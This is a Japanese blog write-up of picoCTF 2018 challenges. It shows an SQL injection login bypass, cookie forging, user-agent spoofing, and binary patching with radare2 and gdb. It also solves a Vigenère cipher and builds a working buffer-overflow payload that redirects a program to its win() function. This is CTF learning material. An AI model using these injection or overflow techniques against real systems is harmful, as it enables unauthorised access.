picoCTF 2018 の write-up 200点問題編。150点問題まではこちら。
200pt問題、ReversingとBinary以外の問題はサクサクとすすめてすぐ終わったのだけど、ReversingとBinaryでむちゃくちゃ時間かかった。早く次に進みたい一心でやったので、雰囲気で解けてしまったものはそのままにしていたりします。
かかった時間にすると、Rev/Bin以外:10~30分/1問 に対し、 Rev/Bin:3~6時間/1問…。もうRev/Binは 1000点 でも良いくらいだよほんと。
Rev/Binはまず、環境・ツールを整えたりする必要がありそう。今回 be-quick-or-be-dead-1
が解けなかったので、素のMacで戦い抜くのは諦めて Kali Linux をついに導入しました。便利なツールが予め入っていて良さそう。おかげでもう少しRev/Binと付き合っていけそうと思えるくらいになりました。
結果的に be-quick-or-be-dead-1
もpicoCTF の shell server 上で解けたんですけども。いいきっかけになりました。
200ptまでを終えると、スコアは6560pt。2000番台になりました。
[Web] Irish Name Repo (200pt)
There is a website running at http://2018shell.picoctf.com:11899 (link). Do you think you can log us in? Try to see if you can login!
指定のリンクに飛ぶとこんなサイトが。俳優さんとか女優さんなんですかね?疎いのでわかりません…。
左のメニューから Admin Login を選択すると、login画面に。
Web問題のログインなんで、まずは何も考えずに Username に admin'--
と入れてみると通った。
SQL injection の初歩的なやつ。
[Web] Mr. Robots (200pt)
Do you see the same things I see? The glimpses of the flag hidden away? http://2018shell.picoctf.com:29568 (link)
うーん、ソースコードにもcssにもflagっぽいものはない。
こういう時はタイトルを調べてみよう、ということで robot web とかで調べてみると、robot.txt の存在が。
robots.txtとは検索エンジンのクローラー(ロボット)のWEBページのへのアクセスを制限するためのファイルで、ロボットに向けた命令文(アクセスを許可/許可しない)を記述します。
ということで、これっぽい!
早速 url/robots.txt にアクセスすると、書いてありました!クローラーじゃないので、私はアクセスできるはず。
User-agent: * Disallow: /74efc.html
url/74efc.html にアクセスしてみると、出てきました!
[Web] No Login (200pt)
Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell.picoctf.com:10573 (link)
adminでloginするとflagが取れるっぽい。サイトはこちら。超あやしいFlagボタンを押してみるとadminじゃないとだめよとメッセージが。
じゃあサインインしようと Sign In ボタンを押すと、未実装らしい。
うーん、わからなかったのでHintを見ると、Cookieが関係ありそう。予めセットされているCookieを見てもピンとこないし、Flagボタンを押すと設定(チェック?)されるCookie ("session") もValueがHash化されているっぽくて中身がわからない。
cookie, admin という共通点だけですが、当てずっぽで前のLogonの問題で使っていた Name=session, Value=TRUE
をセットしてFlagボタンを押してみると、なんと出てきた。
[Web] Secret Agent (200pt)
Here's a little website that hasn't fully been finished. But I heard google gets all your info anyway. http://2018shell.picoctf.com:3827 (link)
No Loginと同じ見た目のサイト。Flagボタンを押すと、
ということは、UserAgentをgoogleに偽装すれば良さそう。ということで、Chrome開発者ツールでやってみます。
開発者ツールを開く > 一番右の3点プルダウンメニューから Moer tools > Network conditions
ここでUserAgentをCustomでも選択でも変更できます。今回は選択肢に Googlebot
がいたので、試しにこれを使いました。
Googlebot に UserAgentを変更して、再度 Flag ボタンを押すと、Flagが出ました!
[Forensics] Truly an Artist (200pt)
Can you help us find the flag in this Meta-Material? You can also find the file in /problems/truly-an-artist_1_59a330544b5c06946dfb0617b1c13330.
Meta-Material のリンクから落としてきたファイルは、PNG画像ファイルでした
$ file 2018.png 2018.png: PNG image data, 1200 x 630, 8-bit/color RGB, non-interlaced
この中からFlagを探す問題。
まずは strings
コマンド、と思ったら一発で出てきた。
$ strings 2018.png IHDR IDATx (~~ 中略 ~~) &tEXtArtist picoCTF{look_in_image_9f5be995} IEND
[Reversing] assembly-1 (200pt)
What does asm1(0xc8) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-1_4_99ac7ff5dfe75417ed616e35bfc2c023.
DLしたsourceはこちら。これに 0xc8 を入力するとどうなる?という問題。
.intel_syntax noprefix .bits 32 .global asm1 asm1: push ebp mov ebp,esp cmp DWORD PTR [ebp+0x8],0x9a jg part_a cmp DWORD PTR [ebp+0x8],0x8 jne part_b mov eax,DWORD PTR [ebp+0x8] add eax,0x3 jmp part_d part_a: cmp DWORD PTR [ebp+0x8],0x2c jne part_c mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_b: mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d cmp DWORD PTR [ebp+0x8],0xc8 jne part_c mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_c: mov eax,DWORD PTR [ebp+0x8] add eax,0x3 part_d: pop ebp ret
もう長いので、実際に実行してしまうのが早そう。
が、環境を準備するのも手間だし、修行がてら読んでみた。
asm1: push ebp # base pointer を stackの一番上に mov ebp,esp # stack pointer を ebp に追従 cmp DWORD PTR [ebp+0x8],0x9a # 入力値(0xc8)と 0x9a を比較 jg part_a # cmpの結果1つ目の値のほうが大きいので、part_aに分岐 cmp DWORD PTR [ebp+0x8],0x8 jne part_b mov eax,DWORD PTR [ebp+0x8] add eax,0x3 jmp part_d part_a: cmp DWORD PTR [ebp+0x8],0x2c # 0xc8と0x2cを比較 jne part_c # cmpの結果、一致しないのでpart_cへ分岐 mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_b: mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d cmp DWORD PTR [ebp+0x8],0xc8 jne part_c mov eax,DWORD PTR [ebp+0x8] sub eax,0x3 jmp part_d part_c: mov eax,DWORD PTR [ebp+0x8] # eax に 0xc8 を代入 add eax,0x3 # eax に 0x3 を加算、 0xcb # jmp系命令は呼び出し元に戻ってこないので終了 part_d: pop ebp ret
flag: 0xcb
結構通らないところが多かった。
[Reversing] be-quick-or-be-dead-1 (200pt)
You find this when searching for some music, which leads you to be-quick-or-be-dead-1. Can you run it fast enough? You can also find the executable in /problems/be-quick-or-be-dead-1_3_aeb48854203a88fb1da963f41ae06a1c.
1つ目のリンク先がYoutubeだった・・・!2つ目のリンク先はファイル。
$ file be-quick-or-be-dead-1 be-quick-or-be-dead-1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=909cc4117c2c766583b0633d70b84771e50160d6, not stripped
ということで実行ファイルのようです。shell server にもスクリプトがおいてあるので、shell server 側で実行してみる。
$ ./be-quick-or-be-d ead-1 Be Quick Or Be Dead 1 ===================== Calculating key... You need a faster machine. Bye bye.
速くしないと死んじゃう。ナンノコッチャ。問題のタイトルにもなっていますが。
Hintを見てみると
What will the key finally be?
最終的に key は何になるか? うーん、ナンノコッチャ。一応PVを見て、歌詞も読んでみたけど、蛇がなんちゃら quick or dead!! の繰り返しでようわからん。
Reversingなので、dumpファイルを見てみる。
今回は、Hopper というツールのDemo版を使ってみました。macに直接installして使ってみています。
Demo版だと30分の連続使用しかできないので、解読に時間がかかるとすぐ落ちます。あとはデバッガ機能は有償版じゃないと無いみたいです。
main関数から。
main: 0000000000400827 push rbp ; End of unwind block (FDE at 0x400b7c), Begin of unwind block (FDE at 0x400b9c), DATA XREF=_start+29 0000000000400828 mov rbp, rsp 000000000040082b sub rsp, 0x10 000000000040082f mov dword [rbp+var_4], edi 0000000000400832 mov qword [rbp+var_10], rsi 0000000000400836 mov eax, 0x0 000000000040083b call header ; header 0000000000400840 mov eax, 0x0 0000000000400845 call set_timer ; set_timer 000000000040084a mov eax, 0x0 000000000040084f call get_key ; get_key 0000000000400854 mov eax, 0x0 0000000000400859 call print_flag ; print_flag 000000000040085e mov eax, 0x0 0000000000400863 leave 0000000000400864 ret ; endp 0000000000400865 align 16 ; End of unwind block (FDE at 0x400b9c)
- header(): "Be Quick Or Be Dead 1" の表示
- set_timer():
- 詳細は見きれていないが、多分タイマーのセット
- "You need a faster machine. Bye bye."の表示
- get_key(): "Calculating key..." の表示
- calucurate_key(): 下記に詳細
- "Done calculating key" の表示
- print_flag(): flagの出力。下記詳細
先程実行したときは、get_key() の中の、"Calculating key..." の表示はされているものの、その後に出てくるはずの "Done calculating key" は出てきませんでした。これが出てくる前に時間切れとなって終了になっています。
時間切れで表示される "You need a faster machine. Bye bye." は、 set_timer() から呼ばれる alarm_handler() 関数で表示されており、その後プロセスが終了するようになっています。
calcurate_key関数はこんな感じ。
calculate_key: 0000000000400706 push rbp ; End of unwind block (FDE at 0x400abc), Begin of unwind block (FDE at 0x400adc), CODE XREF=get_key+19 0000000000400707 mov rbp, rsp 000000000040070a mov dword [rbp+var_4], 0x6fd47e3c loc_400711: 0000000000400711 add dword [rbp+var_4], 0x1 ; CODE XREF=calculate_key+22 0000000000400715 cmp dword [rbp+var_4], 0xdfa8fc78 000000000040071c jne loc_400711 000000000040071e mov eax, dword [rbp+var_4] 0000000000400721 pop rbp 0000000000400722 ret ; endp
謎のマジックナンバー 0x6fd47e3c
と 0xdfa8fc78
が。
初期値 0x6fd47e3c
の変数に対して、0xdfa8fc78
になるまで 1
を足しまくっているように見える。ここが時間がかかっている原因の様子。
以上より、方法としてはぱっと3パターンありそう。(もっともっとあると思う)
- set_timer() を呼ばないように書き換え
- set_timer() で設定している秒数を伸ばすよう書き換え
- calcurate_key() の高速化
何れにせよ、バイナリを書き換えて実行する必要がある?
ここで方法がわからず。皆さんのwrite-upを見てみると radere2 というのがよく使われている様子。
picoCTF の shell server には install されていなかったので、ついにlocalで ELF 64-bit LSB executable を動かす時が来てしまったようです。なんとかgdbだけでやりきる方法もありそう。
ということで、今回は kali linux を Mac の VirtualBox に入れて見ました。最新のkaliだと、初期状態ですでに radare2 が入っているのでよろしい。
$ r2 -v radare2 3.1.2 0 @ linux-x86-64 git.3.1.2 commit: HEAD build: 2018-12-11__11:34:51
1. set_timer() を呼ばないように書き換え
今回は1の方針で書き換えをしてみる。まずはデバッグ実行ありのモード (-d option)
で該当プログラムを立ち上げ。
# r2 -d be-quick-or-be-dead-1 Process with PID 2450 started... = attach 2450 2450 bin.baddr 0x00400000 Using 0x400000 asm.bits 64
分析してもらいます。
[0x7f68ebf92090]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [TOFIX: afta can't run in debugger mode.ions (afta) [x] Type matching analysis for all functions (afta) [x] Use -AA or aaaa to perform additional experimental analysis. = attach 2450 2450 2450
main関数があるのは確認済みなのでmain関数に飛び、disassemble結果を表示します。
[0x7f68ebf92090]> s main [0x00400827]> pdf ;-- main: / (fcn) sym.main 62 | sym.main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x4005bd) | 0x00400827 55 push rbp | 0x00400828 4889e5 mov rbp, rsp | 0x0040082b 4883ec10 sub rsp, 0x10 | 0x0040082f 897dfc mov dword [local_4h], edi ; argc | 0x00400832 488975f0 mov qword [local_10h], rsi ; argv | 0x00400836 b800000000 mov eax, 0 | 0x0040083b e8a9ffffff call sym.header | 0x00400840 b800000000 mov eax, 0 | 0x00400845 e8f8feffff call sym.set_timer | 0x0040084a b800000000 mov eax, 0 | 0x0040084f e842ffffff call sym.get_key | 0x00400854 b800000000 mov eax, 0 | 0x00400859 e863ffffff call sym.print_flag | 0x0040085e b800000000 mov eax, 0 | 0x00400863 c9 leave \ 0x00400864 c3 ret
色付きでめっちゃわかりやすい・・・。感動。もう絶対アセンブリ系出たらこれ使うわ。
set_timer() を呼ばないように書き換え
を実現するために、set_timerを呼び出している行に移動します。
wao
コマンドで、デバッグ時のコマンド書き換えができるようなので、これを使います。
wao[?] op modify opcode (change conditional of jump. nop, etc)
今回は nop
が他に指定がいらないので簡単そう。書き換えたコードは、再度 pdf
コマンドで確認できます。
[0x00400827]> s 0x00400845 [0x00400845]> wao nop [0x00400845]> pdf ;-- main: / (fcn) sym.main 62 | sym.main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x4005bd) | 0x00400827 55 push rbp | 0x00400828 4889e5 mov rbp, rsp | 0x0040082b 4883ec10 sub rsp, 0x10 | 0x0040082f 897dfc mov dword [local_4h], edi ; argc | 0x00400832 488975f0 mov qword [local_10h], rsi ; argv | 0x00400836 b800000000 mov eax, 0 | 0x0040083b e8a9ffffff call sym.header | 0x00400840 b800000000 mov eax, 0 | 0x00400845 90 nop .. | 0x0040084a b800000000 mov eax, 0 | 0x0040084f e842ffffff call sym.get_key | 0x00400854 b800000000 mov eax, 0 | 0x00400859 e863ffffff call sym.print_flag | 0x0040085e b800000000 mov eax, 0 | 0x00400863 c9 leave \ 0x00400864 c3 ret
デバッグモードの実行は dc
コマンド。
dc[?] Continue execution
[0x00400845]> dc Be Quick Or Be Dead 1 ===================== Calculating key... Done calculating key Printing flag: picoCTF{why_bother_doing_unnecessary_computation_27f28e71}
ちょい待ったらちゃんとflagが出ました!
めっちゃ快適・・・。なんかReverse問題解くのが少し楽しくなりそう。少し…。
3. calcurate_key() の高速化
調子に乗って、3. calcurate_key() の高速化 もやってみちゃいます。
calcurate_key まで飛びます。
[0x00400827]> s sym.get_key [0x00400796]> pdf / (fcn) sym.get_key 43 | sym.get_key (); | ; CALL XREF from sym.main (0x40084f) | 0x00400796 55 push rbp | 0x00400797 4889e5 mov rbp, rsp | 0x0040079a bf88094000 mov edi, str.Calculating_key... ; 0x400988 ; "Calculating key..." | 0x0040079f e88cfdffff call sym.imp.puts ; int puts(const char *s) | 0x004007a4 b800000000 mov eax, 0 | 0x004007a9 e858ffffff call sym.calculate_key | 0x004007ae 89050c092000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010c0:4]=0 | 0x004007b4 bf9b094000 mov edi, str.Done_calculating_key ; 0x40099b ; "Done calculating key" | 0x004007b9 e872fdffff call sym.imp.puts ; int puts(const char *s) | 0x004007be 90 nop | 0x004007bf 5d pop rbp \ 0x004007c0 c3 ret [0x00400796]> s sym.calculate_key [0x00400706]> pdf / (fcn) sym.calculate_key 29 | sym.calculate_key (); | ; var int local_4h @ rbp-0x4 | ; CALL XREF from sym.get_key (0x4007a9) | 0x00400706 55 push rbp | 0x00400707 4889e5 mov rbp, rsp | 0x0040070a c745fc156586. mov dword [local_4h], 0xeb866515 | .-> 0x00400711 8345fc01 add dword [local_4h], 1 | : 0x00400715 817dfc78fca8. cmp dword [local_4h], 0xdfa8fc78 | `=< 0x0040071c 75f3 jne 0x400711 | 0x0040071e 8b45fc mov eax, dword [local_4h] | 0x00400721 5d pop rbp \ 0x00400722 c3 ret
0x0040070a の時点で 1 を足したら 0xdfa8fc78 になるようにしておけば高速化されるはず。
[0x00400706]> s 0x0040070a [0x0040070a]> pd 1 | 0x0040070a c745fc156586. mov dword [local_4h], 0xeb866515 [0x0040070a]> wa mov dword [rbp-0x4], 0xdfa8f8c77 Written 7 byte(s) (mov dword [rbp-0x4], 0xdfa8f8c77) = wx c745fc778c8ffa
この状態で上と同じく dc
で実行すると、flagが取れました。
gdbだけでやりきりたい!
ちなみにgdbだけでやりきる方法として、下記を参考に途中で受けるSIGNALを全部無視する設定にして実行してみた。
GDB: 5.3 シグナル
$ gdb be-quick-or-be-dead-1 (gdb) handle all ignore ~~中略~~ Signal Stop Print Pass to program Description ~~中略~~ SIGALRM No No No Alarm clock ~~中略~~ (gdb) run Starting program: /problems/be-quick-or-be-dead-1_3_aeb48854203a88fb1da963f41ae06a1c/be-quick-or-be-dead-1 Be Quick Or Be Dead 1 ===================== Calculating key... Done calculating key Printing flag: picoCTF{why_bother_doing_unnecessary_computation_27f28e71} [Inferior 1 (process 11448) exited normally]
取れた٩(๑❛ᴗ❛๑)۶
今回は、radare2実行時に SIGALRM
が呼ばれることがわかったので上記出力ではSIGALRMをチェックしていますが、コマンドとしては SIGNAL全部無視して なので何者にも邪魔されずプログラムが走りきるはず。
この方法なら picoCTF の shell server 上でも動かせたので、特別なlocal環境は不要でした。
[Crypto] blaise's cipher (200pt)
My buddy Blaise told me he learned about this cool cipher invented by a guy also named Blaise! Can you figure out what it says? Connect with nc 2018shell.picoctf.com 11281.
指定のurlにアクセスしてみる。
$ nc 2018shell.picoctf.com 11281 Encrypted message: Yse lncsz bplr-izcarpnzjo dkxnroueius zf g uzlefwpnfmeznn cousex bls ltcmaqltki my Rjzn Hfetoxea Gqmexyt axtfnj 1467 fyd axpd g rptgq nivmpr jndc zt dwoynh hjewkjy cousex fwpnfmezx. Llhjcto'x dyyypm uswy ybttimpd gqahggpty fqtkw debjcar bzrjx, lnj xhizhsey bprk nydohltki my cwttosr tnj wezypr uk ehk hzrxjdpusoitl llvmlbky tn zmp cousexypxz. Qltkw, tn 1508, Ptsatsps Zwttnjxiax, tn nnd wuwv Puqtgxfahof, tnbjytki ehk ylbaql rkhea, g hciznnar hzmvtyety zf zmp Volpnkwp cousex. Yse Zwttnjxiax nivmpr, nthebjc, otqj pxtgijjo a vwzgxjdsoap, roltd, gso pxjoiiylbrj dyyypm ltc scnecnnyg hjewkjy cousex fwpnfmezx. Hhgy ts tth ktthn gx ehk Atgksprk htpnjc wgx zroltngqwy jjdcxnmej gj Gotgat Gltzndtg Gplrfdo os siy 1553 gzoq Ql cokca jjw. Sol. Riualn Hfetoxea Hjwlgxz. Hk gfiry fpus ehk ylbaql rkhea uk Eroysesnfs, hze ajipd g wppkfeitl "noaseexxtgt" (f vee) yz scnecn htpnjc arusahjes kapre qptzjc. Wnjcegx Llhjcto fyd Zwttnjxiax fski l focpd vfetkwy ol xfbyyttaytotx, Merqlsu'x dcnjxe sjlnz yse vfetkwy ol xfbyyttaytotx noaqo bk jlsoqj cnfygki disuwy hd derjntosr a tjh kkd. Veex hexj eyvnnarqj sosrlk bzrjx zr ymzrz usrgxps, qszwt yz buys pgweikx tn gigathp, ox ycatxxizypd "uze ol glnj" fwotl hizm ehk rpsyfre. Hjwlgxz's sjehui ehax cewztrki dtxtyg yjnuxney ltc otqj tnj vee. Fd iz nd rkqltoaple jlse yz skhfrk f dhuwe kkd ahxfde, yfj be f arkatoax aroaltk hznbjcsgytot, Gplrfdo'y xjszjx wgx notxtdkwlbrd xoxj deizce. Hqliyj oe Bnretjce vzmloxsej mts jjdcxnatoty ol f disnwax gft yycotlpr gzeoqjj cousex gpfuwp tnj noawe ol Mpnxd TIO tq Fxfyck, ny 1586. Lgypr, os ehk 19ys ckseuxd, ehk nyvkseius zf Hjwlgxz's inahkw hay rtsgyerogftki eo Bnretjce. Jfgij Plht ny hox moup Ehk Hzdkgcegppry qlmkseej yse sndazycihzeius my yfjitl ehgy siyyzre mld "olyoxjo tnnd isuzrzfyt itytxnmuznzn gso itxeegi yasjo a xjrrkxdibj lnj jwesjytgwj cousex kzr nnx [Volpnkwp] tntfgn mp hgi yozmtnm yz du bttn ne". pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_5352gq72} Tnj Gimjyexj nivmpr mftnki l rkuftgytot kzr hjtnm jickueiusllrd dtxtyg. Tteej fftntc ati xazmpmgytcofy Cnfclkx Wuzbtdmj Oojldot (Qpwox Naxwzlr) hllrjo tnj Gimjyexj nivmpr asmrkfvahqp it mts 1868 vnpck "Yse Gqahggpt Inahkw" tn g hsiricet'x xamfkitj. Tn 1917, Yhtetytfoh Lmkwtcgs oeyhcihjo tnj Gimjyexj nivmpr gx "tmvtdsogwe uk ergsdlgytot". Ysiy wppayltoty wgx yoz ipskwgej. Hsaxqps Hfmbglp iy pyocs eo nfge hwzkks l vgwtaty zf zmp cousex fd egwwy gx 1854; socjgex, mp doiy't vzmloxs hox hoxp. Vayndko jytowple gcoqj ehk htpnjc ati auhqtsnjo tnj eeimyiwzp it yse 19zm netyfre. Jget gpfuwp tnnd, tntfgn, xzmk xvirqpd iwjpzfyarddty hzuri zcifdiusllrd mrkfv tnj nivmpr os ehk 16ys ckseuxd. Nreueomwlpnnn srnoe xzwe axpd gx l cgqnurfeius lij gj tnj Dwoxd Axrj bkyheks 1914 lnj 1940. Yse Bnretjce inahkw ts ynxprj pnuzrh zt me g kteri nivmpr ok tt ox fski tn ityjasntoty woys cousex itsqx. Ehk Hznljoexfee Yyltkx zf Grprohl, fuw pxgralk, zdej f mrgxd cousex itsq yz isuwesjyt zmp Volpnkwp cousex ifrosr tnj Lmkwtcgs Nibnw Wgw. Ehk Hznljoexfny'y rpsyfrey bprk klr lwzm yjnrky lnj yse Astot wpgaqlrrd nrghvej yseow xeyxlgkx. Ehxtfgntft zmp wgw, ehk Hznljoexfee rjldkwdhou arorlroqj rkqtej zaot ysrkj vee usrgxps, "Sfycnjdtkw Mlakq", "Curalkyp Voheoxd" lnj, fd tnj hax hlmk yz a iqzsk, "Hzmk Wptxnmuznzn". Mnwbkwe Vkwyas yciki eo xjaaow ehk gcoqjy cousex (hcegytnm yse Bjcngr–Gimjyexj nivmpr os 1918), muz, sz mgyeex bsaz mp doi, ehk htpnjc wgx dtoqw vaqyexfmlk yz cxdatgsllexts. Bjcngr'd wuwv, hubpvkw, pvkseugqwy rjo tu yse usp-torp pgi, l tnjzrkytcgqwy asmrkfvahqp cousex.
あれ、このパターンさっきもやったぞ。また換字暗号かな?
そしてなんだかFlagっぽい形式の部分が。 pohzCZK{g1gt3w3_n1pn3wd_ax3s7_maj_5352gq72}
もう一つのヒントとして、blaise という人が開発した暗号、というのがあった。知らないぞ?と思い、ググってみる。もちろん write-up が引っかからないように blaise cipher -picoCTF
でググる。
と、ヴィジュネル暗号がヒット。なんと、ヴィジュネルさん、ブレーズ・ド・ヴィジュネル という名前らしい。知らなかった!
ヴィジュネル暗号では、鍵の周期とずらす数(鍵)がわかっていないと解読できない。今回は、flagっぽい部分を見て、鍵を推測する。
plain: picoCTF encrypt: pohzCZK
なので、ずらし幅は 0, 6, 5, 11, 0, 6, 5 となり、 [0, 6, 5, 11] の4文字周期と考えられる。
あとは、これを原文に突っ込むプログラムを書いて終わり。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import string import pprint ## solve Vigenere cipher encrypted_file = "encrypted.txt" key = "flag" def vigenere(c, shift): return alphabet[(alphabet.index(c) - alphabet.index(shift)) % 26] with open(encrypted_file, "r") as f: encrypted = f.read() alphabet = list(string.ascii_lowercase) plain = "" count = 0 for c in encrypted: shift = key[count % len(key)] if c.isupper(): plain += vigenere(c.lower(), shift).upper() count += 1 elif c.islower(): plain += vigenere(c, shift) count += 1 else: plain += c print(plain)
keyは4文字周期でどこから始まるかわからなかったため、並べ替えてそれっぽくなるのを探しました。
というか、候補が [a, g, f, l]
だったので flag だな、と。
出力結果
$ python solve.py The first well-documented description of a polyalphabetic cipher was formulated by Leon Battista Alberti around 1467 and used a metal cipher disc to switch between cipher alphabets. Alberti's system only switched alphabets after several words, and switches were indicated by writing the letter of the corresponding alphabet in the ciphertext. Later, in 1508, Johannes Trithemius, in his work Poligraphia, invented the tabula recta, a critical component of the Vigenere cipher. The Trithemius cipher, however, only provided a progressive, rigid, and predictable system for switching between cipher alphabets. What is now known as the Vigenere cipher was originally described by Giovan Battista Bellaso in his 1553 book La cifra del. Sig. Giovan Battista Bellaso. He built upon the tabula recta of Trithemius, but added a repeating "countersign" (a key) to switch cipher alphabets every letter. Whereas Alberti and Trithemius used a fixed pattern of substitutions, Bellaso's scheme meant the pattern of substitutions could be easily changed simply by selecting a new key. Keys were typically single words or short phrases, known to both parties in advance, or transmitted "out of band" along with the message. Bellaso's method thus required strong security for only the key. As it is relatively easy to secure a short key phrase, say by a previous private conversation, Bellaso's system was considerably more secure. Blaise de Vigenere published his description of a similar but stronger autokey cipher before the court of Henry III of France, in 1586. Later, in the 19th century, the invention of Bellaso's cipher was misattributed to Vigenere. David Kahn in his book The Codebreakers lamented the misattribution by saying that history had "ignored this important contribution and instead named a regressive and elementary cipher for him [Vigenere] though he had nothing to do with it". picoCTF{v1gn3r3_c1ph3rs_ar3n7_bad_5352bf72} The Vigenere cipher gained a reputation for being exceptionally strong. Noted author and mathematician Charles Lutwidge Dodgson (Lewis Carroll) called the Vigenere cipher unbreakable in his 1868 piece "The Alphabet Cipher" in a children's magazine. In 1917, Scientific American described the Vigenere cipher as "impossible of translation". This reputation was not deserved. Charles Babbage is known to have broken a variant of the cipher as early as 1854; however, he didn't publish his work. Kasiski entirely broke the cipher and published the technique in the 19th century. Even before this, though, some skilled cryptanalysts could occasionally break the cipher in the 16th century. Cryptographic slide rule used as a calculation aid by the Swiss Army between 1914 and 1940. The Vigenere cipher is simple enough to be a field cipher if it is used in conjunction with cipher disks. The Confederate States of America, for example, used a brass cipher disk to implement the Vigenere cipher during the American Civil War. The Confederacy's messages were far from secret and the Union regularly cracked their messages. Throughout the war, the Confederate leadership primarily relied upon three key phrases, "Manchester Bluff", "Complete Victory" and, as the war came to a close, "Come Retribution". Gilbert Vernam tried to repair the broken cipher (creating the Vernam–Vigenere cipher in 1918), but, no matter what he did, the cipher was still vulnerable to cryptanalysis. Vernam's work, however, eventually led to the one-time pad, a theoretically unbreakable cipher.
全文やる必要はまったくなかったけど。
[Binary] buffer overflow 1 (200pt)
Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_0_787812af44ed1f8151c893455eb1a613 on the shell server. Source.
リンク先のプログラムはこちら
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
実行ファイルはこちら
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98eac1e5bfaa95437b28e069a343f3c3a7b9e800, not stripped
こちらも前回同様、同じフォルダにある flag.txt を見に行くようなので shell server 上で実行。
win()
関数を呼び出すことができれば、flagが表示されるようです。今回も gets(buf)
の部分に buffer overflow の脆弱性が。
まずは buffer overflow させる input で実行してみる。
$ ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Okay, time to return... Fingers Crossed... Jumping to 0x61616161 Segmentation fault (core dumped)
Junping to の向き先が入力の a
の16進数 0x61
で埋まっている。溢れたらreturn addressを上書きするらしい。
ちなみに、通常のinputだと。
$ ./vuln Please enter your string: test Okay, time to return... Fingers Crossed... Jumping to 0x80486b3
Jumping to はちゃんとアドレスっぽい値になっている。
ので、 win()
関数のアドレスでreturn値を上書きし、直後に呼び出してやれば良さそう。
…どうやって?
まず、elfファイルの解析を真面目にやったことがあまりない & PC移行したてでまっ更だったので、elfファイルの解析に便利なコマンド readelf
や objdump
を Mac上で動かすよう環境整備。
Mac (OS X) 環境に binutils を入れる - Qiita
セットアップにちょい詰まったのでメモっておいた。
Hintにエンディアンについて触れてあったので、それの確認も込みで readelf コマンドで詳細を確認。
$ greadelf -h vuln ELF ヘッダ: マジック: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 クラス: ELF32 データ: 2 の補数、リトルエンディアン Version: 1 (current) OS/ABI: UNIX - System V ABI バージョン: 0 型: EXEC (実行可能ファイル) マシン: Intel 80386 バージョン: 0x1 エントリポイントアドレス: 0x80484d0 プログラムヘッダ始点: 52 (バイト) セクションヘッダ始点: 6504 (バイト) フラグ: 0x0 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 9 Size of section headers: 40 (bytes) Number of section headers: 31 Section header string table index: 28
リトルエンディアンらしいです。
objdumpで逆アセンブリし、win()
関数のアドレスを検索
$ gobjdump -d vuln | grep win 080485cb <win>: 80485ed: 75 1a jne 8048609 <win+0x3e>
0x080485cb っぽいですね。
リトルエンディアンなので、このアドレスを little endian に直すと \xcb\x85\x04\x08
vuln関数の中の下記部分で、 2行目の eax が、直後の gets() の引数。その前に、ebpのアドレスから0x28前のアドレスがeaxに格納されているので、ebpの0x28前がbufferの先頭アドレスとなる。
8048638: 8d 45 d8 lea -0x28(%ebp),%eax 804863b: 50 push %eax 804863c: e8 ef fd ff ff call 8048430 <gets@plt>
eax | buffer start | | <0x28 bytes> | | buffer end | ebp | <0x4 bytes> | return | |
最後stackにはebpの4バイトが積まれているはずなので、0x28 + 0x4 = 0x2c (=44) バイトから先が、戻りアドレスに溢れてくる。
ということで、44バイトを何某かで埋めてやり、先程の win関数の アドレスをinputする。
$ echo -e "aaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\x08" | ./vuln Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80485cb picoCTF{addr3ss3s_ar3_3asy3656a9b3}Segmentation fault (core dumped)
※ -e option は16進数表記部分のエスケープコードを有効にするため
[Crypto] hertz 2 (200pt)
This flag has been encrypted with some kind of cipher, can you decrypt it? Connect with nc 2018shell.picoctf.com 59771.
指定のホストにアクセス。短い。
